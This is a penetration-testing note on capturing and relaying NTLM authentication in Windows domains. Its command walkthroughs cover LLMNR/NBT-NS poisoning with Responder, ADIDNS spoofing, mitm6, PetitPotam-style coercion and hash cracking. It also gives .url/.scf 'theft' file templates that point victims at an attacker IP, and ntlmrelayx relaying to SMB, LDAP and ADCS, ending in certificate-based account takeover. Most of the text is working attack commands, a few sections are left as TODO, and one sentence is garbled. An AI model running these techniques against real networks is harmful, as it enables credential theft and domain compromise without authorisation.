# Exploitation - NTLM capture and relay

### Overview

The **LLMNR and NBT-NS poisoning attack**, combined with the **SMB Relay attack**, or **NTLM Relaying**, can be used to gain an authenticated access to servers by capturing local network `SMB` authentication traffic and relaying it to targets servers.

Even when the organization has good patch management practices, this reliable and effective attack can almost always be leveraged to obtain an initial foothold.

**LLMNR and NBT-NS poisoning**

The **Link-Local Multicast Name Resolution (LLMNR)** and **Netbios Name Service (NBT-NS)** protocols can be abused to intercept local network traffic.

These protocols allow machines on the same subnet to identify hosts when `DNS` resolution fails. A Windows machine first tries to resolve a hostname through the `Domain Name System (DNS)` protocol. If `DNS` resolution fails, then broadcast `LLMNR` and / or `NBT-NS` requests will be sent over the local network in an attempt to ask all other machines on the local network for the associated IP address.

An attacker can listen on a network for these `LLMNR` (`UDP`: 5355) or `NBT-NS` (`UDP`: 137) broadcasts requests and respond to them, thus pretending to be the requested host.

Note that following the Microsoft security bulletin `MS16-077` (Security Update for `WPAD`), the location of the `WPAD` file (which provide the client its proxy settings) is no longer requested via broadcast protocols, such as `LLMNR` and `NBT-NS`, but only via `DNS`.

**NTLM relaying**

The **NT LAN Manager v1 and v2** authentication process, used in by the **Server Message Block (SMB)** protocol can be subverted.

The attack unwinds as follow:

1. The victim tries to authenticates himself to a server (`SMB_COM_NEGOTIATE` Request)
2. The authentication request is intercepted by an attacker
3. The attacker initiates an authentication procedure to a targeted server and retrieves an authentication challenge (`NTLM_CHALLENGE_MESSAGE`) from this server
4. The attacker forwards this challenge to the victim
5. The victim answers the challenge to the attacker (`NTLM_AUTHENTICATION_MESSAGE`)
6. The attacker can then relay the victim challenge response to the targeted server to authenticate as the victim
7. If the victim has local admin rights on the server, an complete access can be acquire

Since MS08-068 you cannot relay a `Net-NTLM` hash back to the same machine you got it from (e.g. the 'reflective' attack) unless you're performing a cross-protocol relay.

For the attack to work, `SMB` Signing needs to be disabled on the targeted machine. While `SMB` packet signing is available in all supported versions of Windows, it is enabled by default on Domain Controllers.

### NTLM authentication capture

**LLMNR and NBT-NS poisoning in practice**

*LLMNR detection*

If, after a while, no `NTLM` authentication are captured using the tools listed below, `nmap` and the `Metasploit`'s `auxiliary/scanner/llmnr/query` module can be used to check whether or not hosts on the local subnetwork have the `LLMNR` protocol enabled.

Note that even if `LLMNR` is disabled, system have been hardened but `NBT-NS` may still be enabled.

To check if a specific host, identified by its hostname, has `LLMNR` activated:

```
nmap --script llmnr-resolve --script-args 'llmnr-resolve.hostname=<HOSTNAME>'
nmap --script llmnr-resolve --script-args 'llmnr-resolve.hostname=<HOSTNAME>' -e <NETWORK_INTERFACE>

# Metasploit
use auxiliary/scanner/llmnr/query
set NAME <HOSTNAME>
run
```

*Responder*

`Responder` can be used to conduct the `LLMNR` and `NBT-NS` poisoning attack.

*The original version of Responder on SpiderLab's Github repository isn't maintained so lgandx's fork should be prefered instead.*

To capture and crack offline the hashes captured, `Responder` `SMB` and `HTTP` servers should not be disabled. The authentication attempt won't be transmitted to the relay servers and no `NTLM` relaying will be conducted.

`Responder` can be configured to automatically attempt to downgrade the authentication to use the `NetNTLMv1` protocol against clients with a `LMCompatibilityLevel` attribute set to 2 or lower (which is usually the case for environment with `Windows XP` / `Windows server 2003` operating systems). `NetNTLMv1` hashes can be cracked in order to retrieve the client `NTLM` hash, with the exhaustion of all possibility in a matter of days on a modern crackstation. Additionally, `www.crack.sh` provides a `rainbow table` for `NetNTLMv1` hashes obtained with the challenge `1122334455667788`. Useable for free, this `rainbow table` allows `crack.sh` to achieve an average crack time of 25 seconds and a success rate of 99.5%.

`Responder` can be configured to make use of this specific authentication challenge:

```
# Responder.conf file

Challenge = 1122334455667788
```

`NetNTLMv1` hashes follow the format `<USERNAME>::<HOSTNAME>:<RESPONSE>: <RESPONSE>:<CHALLENGE>`, with `NTHASH:<RESPONSE>` being the format accepted by `www.crack.sh`.

Otherwise, `NetNTLMv2` hashes can be cracked using `hashcat`:

```
hashcat -m 5600 <HASHFILE> <WORDLIST> -o <OUTPUTFILE>
```

To relay `NTLM` authentication, `Responder`'s `SMB` and `HTTP` servers should be disabled:

```
# Responder.conf file
[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On
```

With those servers turned off, the authentication attempts captured can be automatically transmitted to `MultiRelay.py` or `ntlmrelayx.py`'s `SMB` and `HTTP` servers for the relay attack.

`Responder` usage:

```
# -d : Enable answers for netbios domain suffix queries
# -w :  Start the WPAD rogue proxy server

python Responder.py -I <NETWORK_INTERFACE> -d -w
```

*Inveigh*

`Inveigh` is a PowerShell script that implements `LLMNR`, `NBNS`, `mDNS` / `DNS` spoofing capabilities and can capture `NetNTLMv1` / `NetNTLMv2` authentication requests over the `SMB` and `HTTP` / `HTTPS` protocols.

It can notably be used after the initial compromise of a Windows machine, and offer some spoofing and capture functionalities even if being run as an unprivileged user. While elevated privileges are required in order to capture authentication requests over the `SMB` and `HTTPS` protocols, the spoofing capabilities and capturing should work pra users will not

```
# Only inspects the LLMNR, NBT-NS and mDNS traffic with out spoofing responses.
Invoke-Inveigh -ConsoleOutput Y -Inspect
Invoke-Inveigh -ConsoleOutput Y -Inspect -IP <IP>
Invoke-Inveigh -ConsoleOutput Y -Inspect -IP <IP>

# Requires elevated privileges.
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP <IP>
```

**ADIDNS spoofing**

In an Active Directory environment, the Domain Controllers will usually expose `DNS` services, that store their `DNS` zones in `Active Directory Domain Services (AD DS)`. This `DNS` topology is known as `Active Directory-Integrated DNS (ADIDNS)`.

The `DNS` zones replication to the different Domain Controllers is integrated to the overall Active Directory replication process. In multi-site Active Directory infrastructures, the replication between sites of `DNS` record modification may take up to three hours.

The following `DNS`-specific application directory partitions are created during `AD DS` installation:

* A forest-wide application directory partition, called `ForestDnsZones`
* Domain-wide application directory partitions for each domain in the forest, named `DomainDnsZones`

By default, any domain authenticated user may remotely add record to an `ADIDNS` zone through `DNS dynamic updates` (`DNS` specific protocol), thanks to the `CreateChild` right on the `DomainDnsZones` domain object. Existing records can be updated or deleted by privileged domain groups, such as the `Domain Admins`, `Enterprise Admins`, or `DnsAdmins` groups, as well as the owner (by default the creator) of the record.

While requiring valid domain credentials and potentially waiting for a replication time, spoofing `ADIDNS` records allows to target users and computers across the domain with out being limited to the local subnetwork.

```
# New-PSDrive is necessary on out-of-the-domain systems, the AD should automatically be mapped otherwise whenever importing the ActiveDirectory PowerShell module
New-PSDrive -Name AD -PSProvider ActiveDirectory -Server "<DC_IP>"

# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL "DC=<DOMAIN_FQDN>,CN=MicrosoftDNS,DC=DomainDNSZones,<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "Authenticated Users"

  ActiveDirectoryRights : CreateChild
  InheritanceType       : None
  ObjectType            : 00000000-0000-0000-0000-000000000000
  InheritedObjectType   : 00000000-0000-0000-0000-000000000000
  ObjectFlags           : None
  AccessControlType     : Allow
  IdentityReference     : NT AUTHORITY\Authenticated Users
  IsInherited           : False
  InheritanceFlags      : None
  PropagationFlags      : None
```

The PowerShell `Powermad` module implements cmdlets that leverage the `DNS` `dynamic updates` functions to interact with `ADIDNS` zones:

```
# Lists the current or specified domain ADIDNS zones.
Get-ADIDNSZone [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>]

# Attempts to resolve a ADIDNS node.
Resolve-DNSName <DNS_NAME>

# Retrieves the DACL of an ADIDNS zone or node.
# By default, retrieves the DACL for the default Active Directory-Integrated Zone.
Get-ADIDNSPermission [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>]
Get-ADIDNSPermission | ? IdentityReference -match "S-1-5-11"
Get-ADIDNSPermission -Node <DNS_NAME>
Get-ADIDNSPermission -Zone <ADIDNS_ZONE>

# Creates a new ADIDNS node.
# Supported RECORD_TYPE: A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, or TXT.
# -Tombstone: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that allows it to be modified or fully tombstoned by any authenticated user.
New-ADIDNSNode -Verbose -Tombstone -Node <DNS_NAME> -Type <A | RECORD_TYPE> -Data <IP | RECORD_CONTENT>
New-ADIDNSNode -Verbose -Tombstone -Domain <DOMAIN> -DomainController <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Node <DNS_NAME> -Type <A | RECORD_TYPE> -Data <IP | RECORD_CONTENT>

# Removes the specified ADIDNS node.
Remove-ADIDNSNode [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>] -Node <DNS_NAME>

# Additional cmdlets:

# Renames the specified ADIDNS node.
Rename-ADIDNSNode -Node <DNS_NAME> -NodeNew <NEW_DNS_NAME>

# Tombstones an ADIDNS node.
Disable-ADIDNSNode -Node <DNS_NAME>

# Turns a tombstoned ADIDNS node back into a valid record.
Enable-ADIDNSNode -Node <DNS_NAME>

# Returns the owner of an ADIDNS node.
Get-ADIDNSNodeOwner -Node <DNS_NAME>

# Sets the owner of an ADIDNS node.
Set-ADIDNSNodeOwner -Principal "<USERNAME | GROUPNAME>" -Node <DNS_NAME>

# Adds an ACE to an ADIDNS node or zone DACL.
# By default grants the "GenericAll" right to the specified object.
# ACCESS_RIGHT: GenericAll, GenericRead, GenericWrite, WriteDacl, WriteOwner, WriteProperty [...]
Grant-ADIDNSPermission -Principal "<Authenticated Users | USERNAME | GROUPNAME>" -Node <DNS_NAME>
Grant-ADIDNSPermission -Access <ACCESS_RIGHT> -Type "<Allow | Deny>" -Principal "USERNAME | GROUPNAME>" -Node <DNS_NAME>

# Removes an ACE to the specified ADIDNS node or zone DACL.
Revoke-ADIDNSPermission -Access <ACCESS_RIGHT> -Principal "USERNAME | GROUPNAME>" -Node <DNS_NAME>
```

**IPv6 rogue DHCP server**

By default, every Windows system (starting from `Windows Vista`) will request, upon booting and periodically, an `IPv6` configuration through the `Dynamic Host Configuration Protocol version 6 (DHCPv6)` protocol by broadcasting a `Solicit` request. The `mitm6` `Python` utility will listen on the network for such `DHCPv6` requests and reply to the emitting hosts, assigning them an `IPv6` address within the link-local range and setting the attacking machine's `IP` as their default `IPv6` `DNS` server. As no `IPv6` gateway is specified by `mitm6`, the victim hosts will not attempt to use `IPv6` for communication with hosts outside the link-local network. The `DNS` server maliciously configured on a victim host will be preferred to the host's `IPv4` `DNS` server and used to query for both `A` (`IPv4`) and `AAAA` (`IPv6`) `DNS` records.

In addition to listening for `DHCPv6` requests, `mitm6` will (by default, although optional) regularly broadcast `ICMPv6` `Router Advertisements (RA)` messages to announce to the link-local network hosts that an `IPv6` network is deployed and that an `IPv6` address should be requested via `DHCPv6`.

Immediately after the attacking machine has been configured as the `DNS` server of a victim host, `mitm6` will receive `DNS` requests from the victim host for a `Windows Proxy Auto Detection (WPAD)` service, in the form of `DNS` queries for `wpad.<DOMAIN_FQDN | HOST_NETWORK_INTERFACE_SUFFIX>`. `mitm6` will respond to such queries by returning the attacking machine's `IP` as the requested `WPAD` host. As following the Microsoft security bulletin `MS16-077` (Security Update for `WPAD`) authentication cannot be directly requested by the `WPAD` server, `mitm6` will instead provide the victim host with a valid `WPAD` file that configure the attacking machine's `IP` as its proxy. Further `HTTP` requests made by the victim host will be intercepted and replied to with a `HTTP 407 Proxy Authentication required` `HTTP` response. The `Internet Explorer (IE)` / `Edge` and `Chrome` web browsers (which rely on `IE`'s settings) will automatically authenticate to the proxy under the user identity using `NTLM`, while `Firefox` will not by default.

Note that in environment making use of `WPAD`, `mitm6` will provide a `WPAD` `wpad.dat` file over the legitimate `WPAD` servers, which may cause connectivity issues on the victim hosts, such as an impossibility to reach the Internet. However, in order to minimize network impact, `mitm6` defines a `DHCP lease` of 5 minutes and sends `DNS` records with a `Time to Live (TTL)` limited to only 100 seconds. Thus, a victim host configuration will be back to normal within a few minutes of `mitm6` stopping.

`mitm6` should be used in combination with the `Impacket`'s `ntlmrelayx.py` utility, which will provide the `WPAD` server and relay the `NTLM` authentication request. Refer to the `IPv6 WPAD relay` section below for more information on how to execute `ntlmrelayx.py`.

```
# -d: the <DOMAIN> to poison WPAD DNS queries for
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN_FQDN>

# Limits the
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN> -hw <HOSTNAME_FQDN_WHITELIST>
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN> -hb <HOSTNAME_FQDN_BLACKLIST>
```

**MSRPC MS-RPRN "printer bug"**

On a machine running the `Spooler Service` (which is the case by-default for all Windows systems), the `RpcRemoteFindFirstPrinterChangeNotification(Ex)` function of the `Print System Remote Protocol`, exposed on the `MS-RPRN` `MSRPC` interface, can be called by any domain user to force the machine to authenticate to the specified remote system.

The `NTLM` authentication can be thus be captured and eventually relayed. For more information on how to identify the `MSRPC` interface and call the `RpcRemoteFindFirstPrinterChangeNotification` function, refer to the `[L7] MSRPC` note.

**MSRPC MS-EFSRPC - PetitPotam**

Similarly to functions exposed by the `MS-RPRN` `MSRPC` interface, a number of functions of the `MS-EFSRPC` `MSRPC` interface can be abused to coerce hosts to authenticate to an arbitrary (and possibly controlled) machine.

Refer to the `[L7] MSRPC` note for more information and tooling ([`PetitPotam`](https://github.com/topotam/PetitPotam)) to coerce authentications through the `MS-EFSRPC` interface.

**Microsoft SQL Server (MSSQL)**

The (undocumented) `xp_dirtree`, `xp_fileexist` and `xp_getfiledetails` `SQL` stored procedures can be used to access files on remote systems over `SMB` from a `MSSQL` service. By default, the account connecting to the database should only require the `PUBLIC` role to execute the procedures.

The account running the `SQL` service, be it a local or domain joined account, will authenticate to the `SMB` share by completing a `Net-NTLMv1` or `Net-NTLMv2` challenge. The challenge can be captured and eventually relayed.

For more information, refer to the `[L7] MSSQL` note.

**"Theft" files**

Various file types can include content that will automatically trigger an access to a remote `SMB` network share (requiring an authentication), upon the opening of the file or a browsing to a folder containing the file.

This technic can be leveraged:

* in phishing scenarios, both internal and external if the targeted entity allows outbound `SMB` traffic
* from an initial breach inside the internal network / Active Directory domain by uploading the file to a network share.

`PingCastle`'s `share` module may be used to identify `SMB` network shares accessible by all domain users and that could be targeted by such attack. Refer to the `[ActiveDirectory] AD scanners` note for more information on how to use `PingCastle`.

The following file types and files can notably be used to trigger an access to the specified `SMB` service upon the browsing of an user to the directory containing the file:

* `Internet Shortcut` files (`.url`)
* `Windows Explorer Command` files (`.scf`) - not supported on recent Windows operating systems.
* `autorun.inf` / `desktop.ini` - not supported on recent Windows operating systems.

The following `url` and `scf` files may be used as a template:

*url URL field*

```
[InternetShortcut]
URL=file://<IP>/doesnotmatter/test.html
```

*url IconFile field*

```
[InternetShortcut]
URL=doesnotmatter
WorkingDirectory=doesnotmatter
IconFile=\\<IP>\%USERNAME%.icon
IconIndex=1
```

*scf*

```
[Shell]
Command=2
IconFile=\\<IP>\doesnotmatter\test.ico
[Taskbar]
Command=ToggleDesktop
```

The `ntlm_theft.py` Python script allows for the generation of various "theft" files, such as `url`, `scf`, `docx`, `xlsx`, `pdf`, etc:

```
python3 ntlm_theft.py --generate all -s <IP> -f <OUTPUT_FOLDER>
```

**Exchange Web Services (EWS) SOAP API**

TODO

### NTLM authentication relay

**Hosts with SMB signing disabled**

First, a list of host with `SMB signing` must be gathered.

Either `nmap`, `CMEv4` or `PingCastle` (personal favorite) can be used to gather a list of host with `SMB signing` disabled and output the result to a file:

```bash
PingCastle.exe -> 5-scanner -> a-smb -> 1-all

nmap -v -sU -sS --open -oA nmap_smb_signing_off --script smb-security-mode.nse -p U:137,T:139,445 <TARGETS>
cat nmap_smb_signing_off.nmap | grep -B 14 "message_signing: disabled" | grep "Nmap scan report for" | cut -d " " -f 5 > <FILE>

cme smb <HOSTNAME | IP | CIDR | TARGETS_FILE> --gen-relay-list <FILE>
```

**Relay primitives to SMB, LDAP/S, MSSQL, HTTP/S services**

The `Impacket`'s `ntlmrelayx.py` or `MultiRelay.py`, that comes with the `Responder` toolkit for example, `Python` scripts can be used to relay the `NTLM` authentication.

By default, `ntlmrelayx` will dump the `SAM` base of the system the authentication is relayed to. As that functionality may sometimes fail, the execution of a unitary command could be preferred instead.

`ntlmrelayx` additionally implements the deployment of a `SOCKS` server that holds all the relayed sessions active and serves them to `SOCKS` clients. When started with the `-socks` option, `ntlmrelayx` will keep the authenticated sessions on hold, through protocols specific `KeepAlive` methods, and will allow `SOCKS` clients to connect to the targeted remote host through the `SOCKS` server by leveraging an active session. More information on the implementation can be found on the `Impacket` maintainer's blog: `https://www.secureauth.com/blog/playing-relayed-credentials`.

`ntlmrelayx` supports relaying `NTLM` authentication through the following protocols:

* `SMB` / `SMB2`
* `LDAP` / `LDAPS`
* `MSSQL`
* `IMAP` / `IMAPS`
* `HTTP` / `HTTPS`
* `SMTP`

The authentication can be relayed to a specific service (such as `smb://<TARGET_IP | TARGET_HOSTNAME>`, `ldaps://<TARGET_IP | TARGET_HOSTNAME>`, etc.) or to all services (`all://<TARGET_IP | TARGET_HOSTNAME>`) of the targeted system.

```bash
MultiRelay.py -t <TARGET_IP | TARGET_HOSTNAME> -c '<COMMAND>' -u '<ALL | USERNAME_TO_RELAY>'

# The TARGETS_FILE file should contain a list of target(s) in the form of [<SERVICE | all>://]<TARGET_IP | TARGET_HOSTNAME>, with one target per line.
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -l <DIRECTORY_OUTPUT>
ntlmrelayx.py [-smb2support] -tf <TARGETS_FILE> -l <DIRECTORY_OUTPUT>
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -c <COMMAND>

# SOCKS usage examples

# Starts ntlmrelayx.py in SOCKS proxy mode
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -socks
ntlmrelayx.py [-smb2support] -tf <TARGETS_FILE> -socks

# Lists the active sessions.
ntlmrelayx> socks
  Protocol  Target          Username                                 Port
  --------  -------------   ------------------------------           ----
  SMB       <IP_SMB_EX>     <DOMAIN | HOSTNAME>/<USERNAME_SMB_EX>    445
  MSSQL     <IP_MSSQL_EX>   <DOMAIN | HOSTNAME>/<USERNAME_MSSQL_EX>  1433
  SMTP      <IP_SMTP_EX>    <DOMAIN | HOSTNAME>/<USERNAME_SMTP_EX>   25
  IMAP      <IP_IMAP_EX>    <DOMAIN | HOSTNAME>/<USERNAME_IMAP_EX>   143

# Proxychains can be used to proxy commands network traffic through ntlmrelayx SOCKS service. Some tools may natively embed SOCKS4 proxy support.
# Configuration and usage of Proxchains.
# Configurationfile: /etc/proxychains.conf
[ProxyList]
socks4 	<LOCAL_HOST_RUNNING_NTLMRELAYX_IP> 1080

# The ntlmrelayx "SOCKS Relay Plugin" will handle the connection and fake the login process in order to tunnel an authenticated connection.
# If a password is required by the tool used, a random password can be provided.

# SMB examples.
proxychains smbclient //<IP_SMB_EX>/<SHARE> -U <DOMAIN>/<USERNAME_SMB_EX>
proxychains secretsdump.py <DOMAIN>/<USERNAME_SMB_EX>@<IP_SMB_EX>
[...]

# MSSQL example.
proxychains mssqlclient.py -windows-auth <DOMAIN>/<USERNAME_MSSQL_EX>@<IP_MSSQL_EX>

# SMTP example.
Thunderbird can be configured to make use of ntlmrelayx SOCKS service.
The Authentication method should be set to "Normal Password" and the (Server Setting->Advanced) "Maximum number of server connections to cache" set to 1.
The under "Network Setting" the SOCKS service can be specifed.
For more information, refer to: https://www.secureauth.com/blog/playing-relayed-credentials.
```

**IPv6 WPAD relay**

The `Impacket`'s `ntlmrelayx.py` utility can be used to relay `NTLM` authentication captured using the `mitm6` utility.

```
# The authentication can be relayed to a specific service, such as smb://<TARGET_IP | TARGET_HOSTNAME> or ldaps://<TARGET_IP | TARGET_HOSTNAME>
# -wh: the specified WPAD hostname should be a hostname not in use in the victim network

ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE>
ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -c <COMMAND>
ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -socks
```

**Account takeover through relaying to Active Directory Certificate Services (ADCS)**

If an `Active Directory Certificate Services (ADCS)` is configured in the environment, and a number of prerequisites are meet (detailed below), `NTLM` authentication can be relayed to `ADCS` to request a certificate under the identity of the relayed account. If an authentication for a Domain Controller is relayed, for instance by exploiting `MS-EFSRPC` `RPC` functions (`PetitPotam` attack), a certificate for the `DomainController` template may be obtained, and `DRSUAPI` replication (`DCSync` attack) further undertaken using the certificate.

The following conditions must be satisfied for the attack to be exploitable:

* `ADCS` must expose either the `Certificate Authority Web Enrollment` or `Certificate Enrollment Web Service` service.
* The web enrollment services must be exposed over `HTTP` (and not only `HTTPS`) and the `NTLM` `Extended Protection for Authentication (EAP)` extension must not be required for the `ADCS` webservices. The `NTLM` `EAP` extension, working only over `HTTPS`, add a binding for the `SSL / TLS` certificate (in the `NetNTLM`' response's `Channel Bindings` attribute) for which the `NTLM` authentication was initially addressed. Upon reception of the `NetNTLM` response, the webserver supporting `EAP` will be able to validate that the authentication was initially addressed to it (and not to another webserver and relayed to it).
* `NTLM` authentication is not disabled at a domain level or `ADCS` level.

For more information on the defensive mitigations that can be deployed in `ADCS` to prevent `NTLM` relaying, refer to the [`Microsoft KB5005413`](https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429).

```bash
# Certify can be used to check if the certificate authority of the targeted domain expose web enrollment services.
# For more information on ADCS, refer to the "[ActiveDirectory] Certificate Services" note.
Certify.exe cas [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>]

# By default, ntlmrelayx will attempt to request a certificate for either the User or Machine template (depending on the relayed user account name).
# For Domain Controller authentication relaying, the DomainController template should be specified.
ntlmrelayx.py -t <http://<CA_DNS_HOSTNAME>/certsrv/ | WEB_ENROLLMENT_URL> -smb2support --adcs [--template <DomainController | User | Machine | CERTIFICATE_TEMPLATE>]

# Rubeus can then be used to request a TGT, and eventually unPAC a subsequent U2U ticket to retrieve the NTLM / NTHash, of the account.
# For more information on Kerberos tickets usage, refer to the "[ActiveDirectory] Kerberos tickets usage" note.
# For more information on the unPAC process of the U2U ticket, refer to the "[ActiveDirectory] Certificate Services" note (section "Client authentication certificate usage and NTHash / NTLM hash retrieval").
Rubeus.exe asktgt [/dc:<DC_IP | DC_HOSTNAME>] [/domain:<DOMAIN>] /user:<USERNAME> /certificate:<BASE64_CERTIFICATE> [/ptt | /getcredentials /show]
```

**Machine takeover through relaying and Kerberos resource-based constrained delegations**

<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>

ATTACK 4:RESOURCE BASED CONSTRAINED DELEGATION ANYONE?

**Machine takeover through relaying and Shadow Credentials**

<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>

Attack 5: LDAP is Fun, Especially With Shadow Credentials

***

### References

<https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>

<https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning>

<https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python>

<https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/>

<https://www.secureauth.com/blog/playing-relayed-credentials>

<https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc160954(v=msdn.10)?redirectedfrom=MSDN>

<https://github.com/NotMedic/NetNTLMtoSilverTicket>

<https://blog.netspi.com/exploiting-adidns/#adidnszones>

<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/active-directory-integrated-dns-zones>

<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/>

<https://www.synacktiv.com/publications/dissecting-ntlm-epa-with-love-building-a-mitm-proxy.html>

<https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>